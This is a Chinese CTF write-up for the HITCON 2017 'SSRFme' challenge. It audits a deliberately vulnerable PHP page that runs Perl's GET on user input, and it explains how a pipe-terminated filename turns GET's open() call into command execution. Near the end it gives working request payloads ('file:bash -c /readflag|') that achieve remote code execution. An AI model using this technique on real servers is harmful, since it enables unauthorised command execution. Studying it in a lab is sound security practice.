[HITCON 2017]SSRFme

[HITCON 2017]SSRFme

打开环境就是代码审计

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

$_SERVER, Server and execution environment information — 服务器和执行环境信息

REMOTE_ADDR:正在浏览当前页面用户的 IP 地址。

X-Forwarded-For:是一个 HTTP 扩展头部

shell_exec(): 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

escapeshellarg : 把字符串转码为可以在 shell 命令里使用的参数。

pathinfo() 返回一个关联数组包含有 path 的信息。

包括以下的数组元素:

[dirname] //路径名

[basename] //文件名

[extension] //扩展名

chdir(): 把当前的目录改变为指定的目录。

file_put_contents(): 把一个字符串写入文件中。

第一段代码会打印出当前用户IP,然后会创建一个文件夹,路径为sandbox/MD5(orange+ip)

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

通过url参数输入的内容会以GET命令执行,命令执行的结果会被存入我们以filename参数的值命名的文件里

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

首先我们到kali里面去测试一下这个GET有什么作用

W_KMNraSkylZUB-7IRnD2SwZBDW5aGwcdIticDmwlaQ

这里GET一个根目录,功能类似于ls把它给列出来,也可以读取文件

Kr1UdPDhXgdtQzDj4U4wBMOwAxjRezPKEkMxxG58qCg

那么这段代码的意思就是,把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。

然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。

首先尝试访问根目录,get:/?url=/&filename=aaa

接着访问aaa文件夹,路径:/sandbox/MD5(orange+ip)/aaa即/sandbox/a9950c04f34c1fc1447fffe46c5a0e5d/aaa

OE3jX6hML3nPoreqNVa9QNPA8phxI22OMGjIV19_7EQ

4seHQlK5WHB_rI6tb4FnNk-wa4cSenEajkZ-gpuUosU

根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,这里涉及到Perl中open命令执行(GET)内容了。

因为GET的底层是使用open函数的,如下

file.pm84: opendir(D, $path) or132:    open(F, $path) or returnnew

而这个open函数会导致我们的RCE,最终造成GET的RCE

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

所以我们需要先创建一个与我们需要执行命令相同的文件,然后使用管道截获该流程,使之为命令的执行,这里要创建一模一样的文件。

/?url=file:bash -c /readflag|&filename=bash -c /readflag|

修改存储的文件,并读取flag输入到存储的文件中去。直接rce。

/?url=file:bash -c /readflag|&filename=aaaa

W07_RGcxXgwIDI1qmVGHuZGjMobE-wtslkaMKRodxCY

posted on 2024-06-11 14:33  跳河离去的鱼  阅读(35)  评论(0编辑  收藏  举报